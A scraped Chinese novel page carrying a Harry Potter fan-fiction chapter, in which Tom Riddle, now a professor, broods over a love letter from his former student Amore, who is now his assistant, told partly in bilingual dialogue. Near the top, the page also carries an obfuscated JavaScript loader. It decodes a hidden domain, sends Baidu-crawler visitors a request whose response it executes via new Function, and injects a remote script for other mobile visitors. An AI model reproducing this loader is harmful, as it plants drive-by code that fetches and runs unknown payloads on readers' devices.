妙书阁小说

阅读记录  |   用户书架
上一页
目录 | 设置
下一章
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

呼神护卫(1)ThePatroni ie879.com(2 / 2)

加入书签 | 推荐本书 | 问题反馈 |

“well,

perhaps

that

is

testament

to

the

extraordinary

powers

that

the

headmaster

possesses.”(嗯,或许这恰好证明了校长能力非凡。)

他的小姑娘有了相反意见。

“i

don&#039;t

think

so,

sir——,”(我觉得不是的,先生——),她慢慢摇了摇头,“from

the

reports,

think

grindelwald

only

dueled

dumbledore

reluctantly,

sir,

and

therefore…at

the

most

critical

moment…the

elder

wand

was

perhaps

unsure

of

its

master&#039;s

true

intentions.”(从报道看,我认为格林德沃其实并不情愿与邓布利多决斗,先生,因此老魔杖……在最关键的时刻……或许并不确定它主人的真实意图。)

她垂下头,模样有点儿感伤。

“which

means

that

grindelwald

himself

perhaps

wasn&#039;t

so

sure

about

his

true

intentions

either.

he

wasn&#039;t

so

set

on

defeating,

or

killing,

professor

dumbledore.”(也就是说,格林德沃本人或许也并不很确定他自己的真实意图。他并没有一门心思地想击败,或杀死,邓布利多教授。)

这番话让汤姆默然了许久。

也就是说,最后,击败历史上最伟大黑巫师的,

是爱。

什么是爱?

他一遍遍翻读爱茉尔的信。那不是一封普通的告白信;她细数了他们之间的一点一滴、她从与他的每一次相处中获得了什么、学到了什么、她有多希望能成为她眼里的他那样的人——博学、强大、严格、认真,但同时温和而有耐心,真心实意地想带领他的学生体验魔法的强大魅力。

他以前从未发觉,自己对另一个生命的影响竟能如此深远。

她说,她从没对任何其他人怀有她对他怀有的这种感情。

她说她并不期待他去做些什么,也不想从他那里获取些什么。她甚至向他道歉,说自己向他表达这些话,多少是有些自私的,是为了给自己一个交代,为了从过去解脱,让她可以继续向前。同时,她希望他们的关系还能像以前那样继续下去。

瞧,他的爱茉尔——his

“amore

mio”(‘我的爱’)——要比他勇敢、真诚、纯粹、优秀、值得敬佩多了。

她还说,虽然这种感情有一天可能会逝去,但此时此刻的她,全心全意地、一往情深地,爱慕着他。

每次看到

“fade”(逝去)这个词,他心里都跟打翻了五味瓶,极其不是滋味儿。

他看了看表。九点半。学生已经宵禁,爱茉尔正在斯莱特林休息室帮诺特补习。就两个人——两个漂亮的年轻人——坐在一起。姑娘的鸦发在烛光下格外柔亮。壁炉的火苗勾勒出精致的侧颜,将白皙的脸颊映得嫣红,一如那晚她攀达顶峰时的娇媚模样……

他猛吸口气,一把推开椅子,起身踱到门口,踌躇伫立一会儿,又几步踱回窗边。

不行。再过两周就是斯拉格霍恩的圣诞派对了。这是一次他不能错过的机会。他一定得在那之前有所行动。

爱茉尔回到dada教室的时候已经十点半了。她的套房就在里德尔教授的旁边,但她没有上楼,而是走到自己学生时代的课桌旁,开始批改作业。

即便已经毕业了五个多月,爱茉尔多数时间仍旧觉得自己像个学生。这个座位让她感到莫名的心安,就像她又回到他的课堂上一样。或许正因如此,她发现自己很难改变对他的称呼。幸而,他也没再坚持。

她放下一篇批改好的论文,瞟了一眼教授半掩的门里透出的烛光,默默叹了口气。

她很确定他看到了那封信,但选择了无视它。

自从她开始为他工作,他对她的态度就一如她在信里表述的那样,似乎又回到了从前——专业、温和、礼貌、偶尔轻松善意的揶揄——不像欢爱粉事件之后冰冷的陌生和回避,但也没有了毕业那天,他给她聘用涵时,眼里极力压抑的火花。

他大概只把她当成一个学生,或者充其量一个朋友。大概怕两人的相处太过尴尬——也怕她难堪——他从未再提起过毕业那天与她的对话……还有其它方式的报答……

爱茉尔再次在心里扇了自己一巴掌。一定是她自己心思不纯,误解了他的意思。

她应该庆幸——在表白信这样的鲁莽行径之后,他还愿意和她像以前那样相处。今天晚上,提比略·诺特问她愿不愿一起去斯拉格霍恩的派对时,她才意识到,被自己不喜欢的人喜欢和表白,是一件多么尴尬的事。她甚至不知道自己还该不该继续那些让她筋疲力尽的一对一补习课,即便它们能让她更加忙碌起来。

过去几个月里,她尽量让自己的全部精力耗费在工作里。在课堂上,她尽量无视那些花痴的六、七年级女生望向里德尔教授的目光——但她知道,她们只看到了他英俊的外表和优雅的仪态,而这些却恰恰是她眼里的他最不重要的东西。她将大把大把的时间花在备课、练习决斗、批改作业上——即便是跟他在一起做这些事,她也尽量低着头,把目光放在面前的教材上。幸而,教学的工作异常繁巨,前五个年级每个年级有四个班,六、七年级各有一个班,每周都有那么多作业要批改,她甚至不知道里德尔教授这些年是如何应对自如的。

不过,有些时候——在他的温厚的指掌轻柔地推着她(有几次,甚至是环住她的腰)从教室走上楼的时候,在她从他身侧挤进他办公室的门,肩膀擦过他的胸膛的时候,在熟悉的松木温香灌入她鼻腔的时候……

少女合上眼,在椅子里不自在地调整着坐姿。她轻咳一声,下意识把百褶裙往膝盖的方向拽了拽。

但爱茉尔知道,里德尔教授也不总是她熟悉的温和有礼。他还有另一面,陌生得可怕的另一面……让她猜不透,让她忍不住恐惧、战栗、畏缩的另一面。

她曾经得以一窥他的这一面。欢爱粉事件那晚,在他逼近她,质问她“打算如何报答”他时,盘桓在她周身的那种可怕、让人窒息的威胁和压迫感……

爱茉尔打了个寒战,手中的羽毛笔暂停了书写,静静悬浮在羊皮纸上方。她有时觉得自己几乎丝毫不了解她最喜欢的老师、世界上最亲近的人。那一刻的他就好像变成了另一个完全不同的人——或是什么……东西。

爱茉尔不确定它到底是什么。但直觉告诉她:在那一刻,它受到了什么威胁,失去了某种控制,正被迫向某种更强大的力量缴械投降。在无比的恐惧中,在危险逼近下,它本能地、下意识地守卫着自己的主权和领地,双目赤红、青面獠牙地向她发起了反击。

她想起拉文克劳休息室入口的一个旧谜语:哪两样东西完全在人的掌控外?

答案是死亡,

与爱。

——————

尾注:

顾名思义,这一卷就是要揭晓汤姆里德尔的守护神到底是什么。

罗姨说过,patronus的复数应该是patronuses。但,这个词的词源是拉丁语,复数变化

-us应该成为

-i,变成patroni。而且,另一个词“安尼玛格斯”(animagus)的复数就是animagi。我的语言ocd很烦英语里这种不规则变化(尤其是在使用舶来词和loan

words

的时候),而且私以为patroni要比patronuses好听和高级得多,所以本卷决定取名“the

patroni”。</p>', '')

上一页
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间